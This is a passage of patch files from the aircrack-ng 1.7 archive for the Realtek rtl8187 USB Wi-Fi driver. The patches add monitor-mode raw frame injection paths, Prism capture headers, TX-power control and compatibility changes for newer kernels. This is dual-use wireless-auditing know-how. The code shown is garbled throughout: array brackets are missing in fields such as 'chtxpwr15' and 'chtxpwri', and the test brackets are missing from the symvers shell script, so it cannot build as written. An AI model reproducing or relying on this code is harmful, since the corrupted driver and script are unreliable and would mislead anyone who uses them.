++	install -d $(r8187dir)
++	install -m 644 ./ieee80211/*.ko $(ieeedir)
++	install -m 644 ./rtl8187/*.ko $(r8187dir)
++	-depmod -ae
++
++uninstall:
++	-rm -f $(ieeedir)/ieee80211-rtl.ko
++	-rm -f $(ieeedir)/ieee80211_crypt-rtl.ko
++	-rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko
++	-rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko
++	-rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko
++	-rm -f $(r8187dir)/r8187.ko
++	-rm -fr $(ieeedir)
++	-rm -fr $(r8187dir)
++	-depmod -ae
++
++clean:
++	$(MAKE) -C ieee80211 $(@)
++	$(MAKE) -C rtl8187 $(@)
++
++distclean: clean
++
+diff -Naur r8187_orig/rtl8187/ieee80211.h r8187_rawtx/rtl8187/ieee80211.h
+--- r8187_orig/rtl8187/ieee80211.h	2007-12-05 09:50:41.000000000 +0100
++++ r8187_rawtx/rtl8187/ieee80211.h	2007-05-13 09:55:56.000000000 +0200
+@@ -108,6 +108,8 @@
+ #define	ieee80211_start_protocol	ieee80211_start_protocol_rtl
+ #define	ieee80211_stop_protocol		ieee80211_stop_protocol_rtl
+ #define	ieee80211_rx_mgt		ieee80211_rx_mgt_rtl
++#define	ieee80211_stop_queue		ieee80211_stop_queue_rtl
++#define	ieee80211_wake_queue		ieee80211_wake_queue_rtl
+ 
+ 
+ typedef struct ieee_param {
+@@ -193,6 +195,22 @@
+ 	struct list_head list;
+ };
+ 
++#define LWNG_CAP_DID_BASE   (4 | (1 << 6)) /* section 4, group 1 */
++/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header
++ * (from linux-wlan-ng) */
++struct linux_wlan_ng_val {
++	u32 did;
++	u16 status, len;
++	u32 data;
++} __attribute__ ((packed));
++
++struct linux_wlan_ng_prism_hdr {
++	u32 msgcode, msglen;
++	char devname16;
++	struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal,
++		noise, rate, istx, frmlen;
++} __attribute__ ((packed));
++
+ struct ieee80211_hdr {
+ 	u16 frame_ctl;
+ 	u16 duration_id;
+@@ -1064,10 +1082,15 @@
+ 	struct timer_list beacon_timer;
+ 	
+ 	struct work_struct associate_complete_wq;
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++	struct delayed_work associate_retry_wq;
++	struct delayed_work softmac_scan_wq;
++#else
+ 	struct work_struct associate_retry_wq;
++	struct work_struct softmac_scan_wq;
++#endif
+ 	struct work_struct start_ibss_wq;
+ 	struct work_struct associate_procedure_wq;
+-	struct work_struct softmac_scan_wq;
+ 	struct work_struct wx_sync_scan_wq;
+ 	struct work_struct ps_request_tx_ack_wq;//for ps
+ 	struct work_struct hw_wakeup_wq;
+@@ -1390,7 +1413,11 @@
+ extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++extern void ieee80211_wx_sync_scan_wq(struct work_struct *work);
++#else
+ extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee);
++#endif
+ 
+ extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, 
+ 			       struct iw_request_info *info, 
+diff -Naur r8187_orig/rtl8187/r8180_rtl8225.h r8187_rawtx/rtl8187/r8180_rtl8225.h
+--- r8187_orig/rtl8187/r8180_rtl8225.h	2007-01-15 03:00:37.000000000 +0100
++++ r8187_rawtx/rtl8187/r8180_rtl8225.h	2007-05-13 09:55:56.000000000 +0200
+@@ -48,4 +48,5 @@
+ 
+ extern u32 rtl8225_chan;
+ 
++void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch);
+ #endif
+diff -Naur r8187_orig/rtl8187/r8180_wx.c r8187_rawtx/rtl8187/r8180_wx.c
+--- r8187_orig/rtl8187/r8180_wx.c	2007-03-02 04:22:29.000000000 +0100
++++ r8187_rawtx/rtl8187/r8180_wx.c	2007-05-13 09:55:52.000000000 +0200
+@@ -21,7 +21,7 @@
+ 
+ #include "r8187.h"
+ #include "r8180_hw.h"
+-
++#include "r8180_rtl8225.h"
+ 
+ //#define RATE_COUNT 4
+ u32 rtl8180_rates = {1000000,2000000,5500000,11000000,
+@@ -121,22 +121,72 @@
+ 	return ret;
+ }
+ 
+-static int r8180_wx_set_rawtx(struct net_device *dev, 
+-			       struct iw_request_info *info, 
+-			       union iwreq_data *wrqu, char *extra)
++static int r8180_wx_get_txpow(struct net_device *dev,
++			      struct iw_request_info *info,
++			      union iwreq_data *wrqu, char *extra)
+ {
+ 	struct r8180_priv *priv = ieee80211_priv(dev);
+-	int ret;
+-	
++	int i=0;
+ 	down(&priv->wx_sem);
+-	
+-	ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra);
+-	
++	wrqu->power.value = 0;
++	for(i=0; i<15; i++)
++	{
++		if(priv->chtxpwri > wrqu->power.value) wrqu->power.value = priv->chtxpwri;
++		if(priv->chtxpwr_ofdmi > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdmi;
++	}
++	wrqu->power.fixed = 1;
++	wrqu->power.flags = IW_TXPOW_DBM;
++	wrqu->power.disabled = 0;
+ 	up(&priv->wx_sem);
+-	
++
++	return 0;
++}
++
++#if 1
++static int r8180_wx_set_txpow(struct net_device *dev,
++			      struct iw_request_info *info,
++			      union iwreq_data *wrqu, char *extra)
++{
++	int ret = 0, i=0;
++	struct r8180_priv *priv = ieee80211_priv(dev);
++
++	down(&priv->wx_sem);
++
++	if (wrqu->power.flags != IW_TXPOW_DBM)
++	{
++		ret = -EINVAL;
++		goto out;
++	}
++
++	if(wrqu->power.value > priv->txpwr_max)
++	{
++		ret = -EINVAL;
++		goto out;
++	}
++
++	if(wrqu->power.value < 0)
++	{
++		ret = -EINVAL;
++		goto out;
++	}
++
++	for(i=1;i<15;i++)
++	{
++		priv->chtxpwri = priv->chtxpwr_origi - (priv->txpwr_max - wrqu->power.value);
++		if(priv->chtxpwri > priv->chtxpwr_origi) priv->chtxpwri = 0;
++
++		priv->chtxpwr_ofdmi = priv->chtxpwr_ofdm_origi - (priv->txpwr_max - wrqu->power.value);
++		if(priv->chtxpwr_ofdmi > priv->chtxpwr_ofdm_origi) priv->chtxpwr_ofdmi = 0;
++	}
++	rtl8225z2_SetTXPowerLevel(dev, 1);
++
++	out:
++	up(&priv->wx_sem);
++
+ 	return ret;
+ 	 
+ }
++#endif
+ 
+ static int r8180_wx_set_rts(struct net_device *dev, 
+ 			     struct iw_request_info *info, 
+@@ -836,6 +886,7 @@
+ 
+ }
+ 
++#if 0
+ static int r8180_wx_radio_on(struct net_device *dev,
+ 				struct iw_request_info *info,
+ 				union iwreq_data *wrqu, char *extra)
+@@ -871,6 +922,7 @@
+ 	return 0;
+ 
+ }
++#endif
+ 
+ static int r8180_wx_set_channelplan(struct net_device *dev, 
+ 			     struct iw_request_info *info, 
+@@ -965,8 +1017,8 @@
+         r8180_wx_get_rts,                    /* SIOCGIWRTS */
+         r8180_wx_set_frag,        /* SIOCSIWFRAG */
+         r8180_wx_get_frag,        /* SIOCGIWFRAG */
+-        dummy,                    /* SIOCSIWTXPOW */
+-        dummy,                    /* SIOCGIWTXPOW */
++        r8180_wx_set_txpow,       /* SIOCSIWTXPOW */
++        r8180_wx_get_txpow,       /* SIOCGIWTXPOW */
+         r8180_wx_set_retry,       /* SIOCSIWRETRY */
+         r8180_wx_get_retry,       /* SIOCGIWRETRY */
+         r8180_wx_set_enc,         /* SIOCSIWENCODE */
+@@ -1007,7 +1059,7 @@
+ 	},
+ 	{
+ 		SIOCIWFIRSTPRIV + 0x6, 
+-		IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" 
++		0, 0, "dummy" 
+ 	},
+ 	{	SIOCIWFIRSTPRIV + 0x7, 
+ 		0, 0, "dummy" 
+@@ -1053,11 +1105,11 @@
+  	},
+ 	{
+ 		SIOCIWFIRSTPRIV + 0x12, 
+-		0, 0, "radioon"
++		0, 0, "dummy"
+  	},
+ 	{
+ 		SIOCIWFIRSTPRIV + 0x13, 
+-		0, 0, "radiooff"
++		0, 0, "dummy"
+  	},
+ 	{
+ 		SIOCIWFIRSTPRIV + 0x14, 
+@@ -1089,7 +1141,7 @@
+ 	dummy,
+ 	r8180_wx_set_scan_type,
+ 	dummy,
+-	r8180_wx_set_rawtx,
++	dummy,
+ 	dummy,
+ 	r8180_wx_set_iwmode,
+ 	r8180_wx_get_iwmode,
+@@ -1101,8 +1153,8 @@
+ 	r8180_wx_get_sigqual,
+ 	r8180_wx_reset_stats,
+ 	dummy,
+-	r8180_wx_radio_on,
+-	r8180_wx_radio_off,
++	dummy,
++	dummy,
+ 	r8180_wx_set_channelplan,
+ 	r8180_wx_get_channelplan,
+ 	dummy,
+diff -Naur r8187_orig/rtl8187/r8187_core.c r8187_rawtx/rtl8187/r8187_core.c
+--- r8187_orig/rtl8187/r8187_core.c	2007-03-28 08:39:13.000000000 +0200
++++ r8187_rawtx/rtl8187/r8187_core.c	2007-05-13 09:55:52.000000000 +0200
+@@ -83,6 +83,10 @@
+ #define USB_VENDOR_ID_NETGEAR		0x0846
+ #endif
+ 
++#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE))
++	#error	Build your kernel with ehci_hcd support!
++#endif
++
+ static struct usb_device_id rtl8187_usb_id_tbl = {
+ 	{USB_DEVICE(USB_VENDOR_ID_REALTEK, 0x8187)},
+ 	{USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6100)},
+@@ -271,9 +275,14 @@
+ //void set_nic_txring(struct net_device *dev);
+ static struct net_device_stats *rtl8180_stats(struct net_device *dev);
+ void rtl8180_commit(struct net_device *dev);
+-void rtl8180_restart(struct net_device *dev);
+ void rtl8180_rq_tx_ack(struct net_device *dev);
+ 
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void rtl8180_restart(struct work_struct *work);
++#else
++void rtl8180_restart(struct net_device *dev);
++#endif
++
+ /****************************************************************************
+    -----------------------------PROCFS STUFF-------------------------
+ *****************************************************************************/
+@@ -436,13 +445,14 @@
+ 	return len;
+ }		
+ 
+-
++#if WIRELESS_EXT < 17
+ static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev)
+ {
+        struct r8180_priv *priv = ieee80211_priv(dev);
+ 
+        return &priv->wstats;
+ }
++#endif
+ 
+ void rtl8180_proc_module_init(void)
+ {	
+@@ -727,7 +737,7 @@
+ 	
+ 	usb_fill_bulk_urb(rx_urb,priv->udev,
+ 		usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer,
+-			RX_URB_SIZE,rtl8187_rx_isr,dev);
++			RX_URB_SIZE,rtl8187_rx_isr, dev);
+ 	err = usb_submit_urb(rx_urb, GFP_ATOMIC);	
+ 	if(err && err != -EPERM){
+ 		DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status);
+@@ -880,9 +890,12 @@
+ 	txconf = txconf &~ TCR_DPRETRY_MASK;
+ 	txconf = txconf &~ TCR_RTSRETRY_MASK;
+ 	
+-	txconf = txconf | (priv->retry_data<<TX_DPRETRY_SHIFT); // long
+-	txconf = txconf | (priv->retry_rts<<TX_RTSRETRY_SHIFT); // short
+-	
++	if(priv->ieee80211->iw_mode != IW_MODE_MONITOR)
++	{
++		txconf = txconf | (priv->retry_data<<TX_DPRETRY_SHIFT); // long
++		txconf = txconf | (priv->retry_rts<<TX_RTSRETRY_SHIFT); // short
++	}
++
+ 	txconf = txconf &~ (1<<TX_NOCRC_SHIFT);
+ 	
+ 	txconf = txconf &~ TCR_MXDMA_MASK;
+@@ -1228,8 +1241,9 @@
+ 	unsigned long flags;
+ 	struct ieee80211_hdr *h = (struct ieee80211_hdr  *) skb->data;
+ 
+-	if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS)
+-		morefrag = 1;
++	if(priv->ieee80211->iw_mode != IW_MODE_MONITOR)
++		if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS)
++			morefrag = 1;
+ //	DMESG("%x %x", h->frame_ctl, h->seq_ctl);
+ 	/*
+ 	* This function doesn't require lock because we make
+@@ -1240,21 +1254,28 @@
+ 	*/
+ 	spin_lock_irqsave(&priv->tx_lock,flags);	
+ 			
+-	//DMESG("TX");
+-	if (!check_nic_enought_desc(dev, LOW_PRIORITY)){
+-		DMESG("Error: no TX slot ");
+-		ieee80211_stop_queue(priv->ieee80211);
++	if(priv->ieee80211->iw_mode == IW_MODE_MONITOR)
++	{
++		rtl8180_tx(dev, skb->data, skb->len, NORM_PRIORITY, morefrag,
++			ieeerate2rtlrate(rate));
+ 	}
++	else
++	{
++		//DMESG("TX");
++		if (!check_nic_enought_desc(dev, LOW_PRIORITY)){
++			DMESG("Error: no TX slot ");
++			ieee80211_stop_queue(priv->ieee80211);
++		}
++		
++		rtl8180_tx(dev, skb->data, skb->len, LOW_PRIORITY, morefrag,
++			ieeerate2rtlrate(rate));
+ 	
+-	
+-	rtl8180_tx(dev, skb->data, skb->len, LOW_PRIORITY, morefrag,
+-		ieeerate2rtlrate(rate));
+-
+-	priv->stats.txdatapkt++;
+-	
+-	if (!check_nic_enought_desc(dev, LOW_PRIORITY))
+-		ieee80211_stop_queue(priv->ieee80211);
++		priv->stats.txdatapkt++;
+ 		
++		if (!check_nic_enought_desc(dev, LOW_PRIORITY))
++			ieee80211_stop_queue(priv->ieee80211);
++	}
++	
+ 	spin_unlock_irqrestore(&priv->tx_lock,flags);	
+ 			
+ }
+@@ -2050,11 +2071,19 @@
+ 	priv->ieee80211->mode = IEEE_G|IEEE_B; //2007.1.25
+ 	priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0;
+ 	spin_lock_init(&priv->tx_lock);
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
+ 	INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev);
+ 	INIT_WORK(&priv->rtl8180_hw_wakeup_wq,(void(*)(void*))rtl8180_hw_wakeup,dev);
+ 	INIT_WORK(&priv->ieee80211->ps_request_tx_ack_wq,(void(*)(void*))rtl8180_rq_tx_ack,dev);
+ 	INIT_WORK(&priv->ieee80211->hw_wakeup_wq,(void(*)(void*))rtl8180_hw_wakeup,dev);
+ 	INIT_WORK(&priv->ieee80211->hw_sleep_wq,(void(*)(void*))rtl8180_hw_sleep,dev);
++#else
++	INIT_WORK(&priv->reset_wq, rtl8180_restart);
++	INIT_WORK(&priv->rtl8180_hw_wakeup_wq,rtl8180_hw_wakeup);
++	INIT_WORK(&priv->ieee80211->ps_request_tx_ack_wq,rtl8180_rq_tx_ack);
++	INIT_WORK(&priv->ieee80211->hw_wakeup_wq,rtl8180_hw_wakeup);
++	INIT_WORK(&priv->ieee80211->hw_sleep_wq,rtl8180_hw_sleep);
++#endif
+ //	INIT_WORK(&priv->ps_request_tx_ack_wq,(void(*)(void*))rtl8180_rq_tx_ack,dev);
+ 	sema_init(&priv->wx_sem,1);
+ 	sema_init(&priv->power_sem,1);
+@@ -2259,6 +2288,15 @@
+ 	priv->cck_txpwr_base = word & 0xf;
+ 	priv->ofdm_txpwr_base = (word>>4) & 0xf;
+ 	
++	priv->txpwr_max = 0;
++	for(i=1; i<15; i++)
++	{
++		if(priv->chtxpwri > priv->txpwr_max) priv->txpwr_max = priv->chtxpwri;
++		if(priv->chtxpwr_ofdmi > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdmi;
++		priv->chtxpwr_origi = priv->chtxpwri;
++		priv->chtxpwr_ofdm_origi = priv->chtxpwr_ofdmi;
++	}
++
+ 	/* check RF frontend chipset */
+ 	
+ 	switch (priv->rf_chip) {
+@@ -2701,10 +2739,16 @@
+ 	_rtl8180_up(dev);
+ }
+ 
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void rtl8180_restart(struct work_struct *work)
++{
++	struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq);
++	struct net_device *dev = priv->dev;
++#else
+ void rtl8180_restart(struct net_device *dev)
+ {
+ 	struct r8180_priv *priv = ieee80211_priv(dev);
+-
++#endif
+ 	down(&priv->wx_sem);
+ 	
+ 	rtl8180_commit(dev);
+@@ -2885,6 +2929,11 @@
+ 		//	printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual);
+ 			priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual;
+ 			priv->wstats.qual.updated = 7;
++			if(priv->ieee80211->iw_mode == IW_MODE_MONITOR)
++			{
++				stats.signal = priv->wstats.qual.level;
++				stats.noise = priv->wstats.qual.noise;
++			}
+ 			//calculate link quality end 
+ 			skb = dev_alloc_skb(flen-4);
+ 			if(skb){ 
+@@ -2953,7 +3002,12 @@
+ 	dev->do_ioctl = rtl8180_ioctl;
+ 	dev->set_multicast_list = r8180_set_multicast;
+ 	dev->set_mac_address = r8180_set_mac_adr;
++#if WIRELESS_EXT >= 12
++#if WIRELESS_EXT < 17
+ 	dev->get_wireless_stats = r8180_get_wireless_stats;
++#endif
++	dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def;
++#endif
+ 	dev->type=ARPHRD_ETHER;
+ 	
+ 	if (dev_alloc_name(dev, ifname) < 0){
+diff -Naur r8187_orig/rtl8187/r8187.h r8187_rawtx/rtl8187/r8187.h
+--- r8187_orig/rtl8187/r8187.h	2007-12-05 04:22:20.000000000 +0100
++++ r8187_rawtx/rtl8187/r8187.h	2007-05-13 09:55:56.000000000 +0200
+@@ -26,7 +26,6 @@
+ 
+ #include <linux/module.h>
+ #include <linux/kernel.h>
+-#include <linux/config.h>
+ #include <linux/init.h>
+ #include <linux/ioport.h>
+ #include <linux/sched.h>
+@@ -47,6 +46,12 @@
+ #include <asm/io.h>
+ #include <asm/semaphore.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ #include "r8187_led.h"
+ #include "r8180_hw.h"
+@@ -165,14 +170,17 @@
+ 	short max_sens;
+ 	u8 chtxpwr15; //channels from 1 to 14, 0 not used
+ 	u8 chtxpwr_ofdm15; //channels from 1 to 14, 0 not used
++	u8 chtxpwr_orig15; //channels from 1 to 14, 0 not used
++	u8 chtxpwr_ofdm_orig15; //channels from 1 to 14, 0 not used
+ 	u8 cck_txpwr_base;
+ 	u8 ofdm_txpwr_base;
++	u8 txpwr_max;
+ 	u8 challow15; //channels from 1 to 14, 0 not used
+ 	u8 channel_plan;  // it's the channel plan index
+ 
+ 	short up;
+ 	short crcmon; //if 1 allow bad crc frame reception in monitor mode
+-//	short prism_hdr;
++	short prism_hdr;
+ 	struct timer_list ps_timer;
+ 	short PS_timeout;//when ps set on ,if tx timeout ,this will be set 1
+ 	
+diff -Naur r8187_orig/rtl8187/r8187_led.c r8187_rawtx/rtl8187/r8187_led.c
+--- r8187_orig/rtl8187/r8187_led.c	2007-01-15 03:00:37.000000000 +0100
++++ r8187_rawtx/rtl8187/r8187_led.c	2007-05-13 09:55:52.000000000 +0200
+@@ -103,22 +103,34 @@
+ 				&(priv->Gpio0Led), 
+ 				LED_PIN_GPIO0, 
+ 				Gpio0LedBlinkTimerCallback);
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
+ 	INIT_WORK(&priv->Gpio0LedWorkItem, 
+ 				(void(*)(void*))Gpio0LedWorkItemCallback, dev);
++#else
++	INIT_WORK(&priv->Gpio0LedWorkItem, Gpio0LedWorkItemCallback);
++#endif
+ 
+ 	InitLed8187(dev,
+ 				&(priv->SwLed0), 
+ 				LED_PIN_LED0, 
+ 				SwLed0BlinkTimerCallback);
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
+ 	INIT_WORK(&priv->SwLed0WorkItem, 
+ 				(void(*)(void*))SwLed0WorkItemCallback, dev);
++#else
++	INIT_WORK(&priv->SwLed0WorkItem, SwLed0WorkItemCallback);
++#endif
+ 
+ 	InitLed8187(dev,
+ 				&(priv->SwLed1), 
+ 				LED_PIN_LED1, 
+ 				SwLed1BlinkTimerCallback);
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
+ 	INIT_WORK(&priv->SwLed1WorkItem, 
+ 				(void(*)(void*))SwLed1WorkItemCallback, dev);
++#else
++	INIT_WORK(&priv->SwLed1WorkItem, SwLed1WorkItemCallback);
++#endif
+ }
+ 
+ void
+diff -Naur r8187_orig/symvers r8187_rawtx/symvers
+--- r8187_orig/symvers	1970-01-01 01:00:00.000000000 +0100
++++ r8187_rawtx/symvers	2007-05-13 09:54:44.000000000 +0200
+@@ -0,0 +1,25 @@
++#!/bin/sh
++
++cd rtl8187
++
++if  -e Module.symvers 
++then
++	rm Module.symvers
++fi
++
++if  -e Modules.symvers 
++then
++	rm Modules.symvers
++fi
++
++if  -e ../ieee80211/Module.symvers 
++then
++	ln -sf ../ieee80211/Module.symvers ./
++fi
++
++if  -e ../ieee80211/Modules.symvers 
++then
++	ln -sf ../ieee80211/Modules.symvers ./
++fi
++
++cd ..
+\ Kein Zeilenumbruch am Dateiende.

aircrack-ng-1.7.tar.gz/patches/old/rtl8187_2.6.21.patch Added

@@ -0,0 +1,11773 @@
+diff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_rawtx/beta-8187/ieee80211.h
+--- rtl8187_orig/beta-8187/ieee80211.h	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/ieee80211.h	2007-06-05 14:00:05.000000000 +0200
+@@ -156,6 +156,22 @@
+ 	struct list_head list;
+ };
+ 
++#define LWNG_CAP_DID_BASE   (4 | (1 << 6)) /* section 4, group 1 */
++/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header
++ * (from linux-wlan-ng) */
++struct linux_wlan_ng_val {
++	u32 did;
++	u16 status, len;
++	u32 data;
++} __attribute__ ((packed));
++
++struct linux_wlan_ng_prism_hdr {
++	u32 msgcode, msglen;
++	char devname16;
++	struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal,
++		noise, rate, istx, frmlen;
++} __attribute__ ((packed));
++
+ struct ieee80211_hdr {
+ 	u16 frame_ctl;
+ 	u16 duration_id;
+@@ -840,14 +856,14 @@
+ 
+ 
+ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11))
+-extern inline int is_multicast_ether_addr(const u8 *addr)
++extern inline int is_multicast_ether_addr_rtl7(const u8 *addr)
+ {
+         return ((addr0 != 0xff) && (0x01 & addr0));
+ }
+ #endif
+ 
+ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13))
+-extern inline int is_broadcast_ether_addr(const u8 *addr)
++extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr)
+ {
+ 	return ((addr0 == 0xff) && (addr1 == 0xff) && (addr2 == 0xff) &&   \
+ 		(addr3 == 0xff) && (addr4 == 0xff) && (addr5 == 0xff));
+@@ -1015,10 +1031,16 @@
+ 	struct timer_list beacon_timer;
+ 	
+ 	struct work_struct associate_complete_wq;
++
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++	struct delayed_work associate_retry_wq;
++	struct delayed_work softmac_scan_wq;
++#else
+ 	struct work_struct associate_retry_wq;
++	struct work_struct softmac_scan_wq;
++#endif
+ 	struct work_struct start_ibss_wq;
+ 	struct work_struct associate_procedure_wq;
+-	struct work_struct softmac_scan_wq;
+ 	struct work_struct wx_sync_scan_wq;
+ 	
+ 	struct workqueue_struct *wq;
+@@ -1154,12 +1176,12 @@
+ 
+ 
+ 
+-extern inline void *ieee80211_priv(struct net_device *dev)
++extern inline void *ieee80211_priv_rtl7(struct net_device *dev)
+ {
+ 	return ((struct ieee80211_device *)netdev_priv(dev))->priv;
+ }
+ 
+-extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len)
++extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len)
+ {
+ 	/* Single white space is for Linksys APs */
+ 	if (essid_len == 1 && essid0 == ' ')
+@@ -1175,7 +1197,7 @@
+ 	return 1;
+ }
+ 
+-extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode)
++extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode)
+ {
+ 	/*
+ 	 * It is possible for both access points and our device to support
+@@ -1201,7 +1223,7 @@
+ 	return 0;
+ }
+ 
+-extern inline int ieee80211_get_hdrlen(u16 fc)
++extern inline int ieee80211_get_hdrlen_rtl7(u16 fc)
+ {
+ 	int hdrlen = 24;
+ 
+@@ -1229,140 +1251,144 @@
+ 
+ 
+ /* ieee80211.c */
+-extern void free_ieee80211(struct net_device *dev);
+-extern struct net_device *alloc_ieee80211(int sizeof_priv);
++extern void free_ieee80211_rtl7(struct net_device *dev);
++extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv);
+ 
+-extern int ieee80211_set_encryption(struct ieee80211_device *ieee);
++extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee);
+ 
+ /* ieee80211_tx.c */
+ 
+-extern int ieee80211_encrypt_fragment(
++extern int ieee80211_encrypt_fragment_rtl7(
+ 	struct ieee80211_device *ieee,
+ 	struct sk_buff *frag,
+ 	int hdr_len);
+ 	
+-extern int ieee80211_xmit(struct sk_buff *skb,
++extern int ieee80211_xmit_rtl7(struct sk_buff *skb,
+ 			  struct net_device *dev);
+-extern void ieee80211_txb_free(struct ieee80211_txb *);
++extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *);
+ 
+ 
+ /* ieee80211_rx.c */
+-extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb,
++extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb,
+ 			struct ieee80211_rx_stats *rx_stats);
+-extern void ieee80211_rx_mgt(struct ieee80211_device *ieee,
++extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee,
+ 			     struct ieee80211_hdr *header,
+ 			     struct ieee80211_rx_stats *stats);
+ 
+ /* ieee80211_wx.c */
+-extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee,
++extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee,
+ 				 struct iw_request_info *info,
+ 				 union iwreq_data *wrqu, char *key);
+-extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee,
++extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee,
+ 				   struct iw_request_info *info,
+ 				   union iwreq_data *wrqu, char *key);
+-extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee,
++extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee,
+ 				   struct iw_request_info *info,
+ 				   union iwreq_data *wrqu, char *key);
+ /* ieee80211_softmac.c */
+-extern short ieee80211_is_54g(struct ieee80211_network net);
+-extern short ieee80211_is_shortslot(struct ieee80211_network net);
+-extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb,
++extern short ieee80211_is_54g_rtl7(struct ieee80211_network net);
++extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net);
++extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb,
+ 			struct ieee80211_rx_stats *rx_stats, u16 type,
+ 			u16 stype);
+-extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net);
++extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net);
+ 
+-extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee);
+-extern void ieee80211_start_bss(struct ieee80211_device *ieee);
+-extern void ieee80211_start_master_bss(struct ieee80211_device *ieee);
+-extern void ieee80211_start_ibss(struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_init(struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_free(struct ieee80211_device *ieee);
+-extern void ieee80211_associate_abort(struct ieee80211_device *ieee);
+-extern void ieee80211_disassociate(struct ieee80211_device *ieee);
+-extern void ieee80211_stop_scan(struct ieee80211_device *ieee);
+-extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee);
+-extern void ieee80211_check_all_nets(struct ieee80211_device *ieee);
+-extern void ieee80211_start_protocol(struct ieee80211_device *ieee);
+-extern void ieee80211_stop_protocol(struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee);
+-extern void ieee80211_reset_queue(struct ieee80211_device *ieee);
+-extern void ieee80211_wake_queue(struct ieee80211_device *ieee);
+-extern void ieee80211_stop_queue(struct ieee80211_device *ieee);
+-extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee);
+-extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee);
+-extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee);
+-extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p);
+-extern void notify_wx_assoc_event(struct ieee80211_device *ieee);
+-extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success);
++extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee);
++extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee);
